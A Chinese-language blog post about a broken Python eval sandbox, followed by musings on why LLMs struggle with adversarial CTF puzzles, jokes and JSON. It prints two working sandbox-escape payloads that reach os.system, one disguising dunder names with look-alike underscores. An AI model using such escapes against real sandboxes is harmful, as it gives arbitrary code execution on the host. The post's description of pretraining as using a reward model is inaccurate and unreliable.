无用之用——或许LLM真的还不是AGI

之前记录的 安全的Python3沙箱——eval 被人破解了。

[
    c._﹍init﹍_._﹍globals﹍_["os"].system("id")
    for c in ()._﹍class﹍_._﹍bases﹍_[0]._﹍subclasses﹍_()
    if c._﹍init﹍_._﹍class﹍_._﹍name﹍_ == "function"
    and "os" in c._﹍init﹍_._﹍globals﹍_
]

(
    L:=[None],
    g:=(x.gi_frame.f_back.f_back.f_builtins for x in L),
    L.clear(),
    L.append(g),
    bi:=g.send(None),
    bi['_'+'_import_'+'_']('os').system('id')
)

其实 opus-4.6-thinking 当时提到了类似思路,但可惜miss了一丁点。

看到这里我不仅哑然,距离成功就差临门一脚那么一点,但是AI终究不是AGI。人类在钻研死劲上还是胜过AI的。

AI会不会有一些根本性的模式限制呢?我猜现阶段就是它最不太适应的就是这种对抗性的CTF。

pretrain有个 reward model,只预测出一个最恰当的token。RLHF也是高度按照人类喜好去pick一个标准答案的。但是有些任务不是这样的,是全局试错然后留意着,说不定以后从candidate做个奇妙的组合,加工发挥,就有大用。

今年开篇第一篇也写过《LLM的弱点——不能很好的讲笑话》,恰如 LLM产生随机数能力很弱。因为它真的不会去随便挑个角度开始讲笑话,但群众喜闻乐见的「冷笑话」就是这样,冷不丁来一个,笑死人。笑点很奇怪。

LLM过度讨好,就发现不了这种。而且即便发现了也不会记录搜藏用在下一次。。

CTF和讲笑话一样,没有最优解。恰好是偶然你从一个刁钻的角度入手,可能一开始很不起眼,但是你能解决问题

A -> B 死胡同
C -> D 死胡同

B+D居然能解决E。

所以我感觉现阶段LLM是擅长「优化」类任务,把做到极致。但是搜集启发式的活儿,第一是它pretrain没这么教,第二是教了它也不会搜集,memory得靠外挂。

或许人类以后的工作,狩猎式的活儿不用做了,可以去采集类的。如同 CTF奇怪路径某一天突然串通了可以构造一个 exploit,也如同多个违背预期结合可以构成一个笑话

无用之用方为大用?哈哈哈


又刷到这篇 we've all been using MCP wrong

我个人是有切身体会的。AI 其实对 JSON 这种格式掌握一点都不好,经常写出有语法错误的。我现在完全放弃用JSON跟AI交互了,都改为 markdown 段落章节形式了

谁知道,AI居然不习惯JSON这样机械严格的东西,反而喜欢接近自然语言宽松的格式。

Cloudflare博客也强调,与其教AI去调用MCP,不如让AI写对应的代码去调用MCP。AI更习惯写代码。这和Claude某些bash党的观点不谋而合,因为AI培训班就是大量代码和自然文本,JSON其实反而说得少,不习惯啊。

从这个角度说,JSON都写不好的AI,还想什么AGI呢。

Comments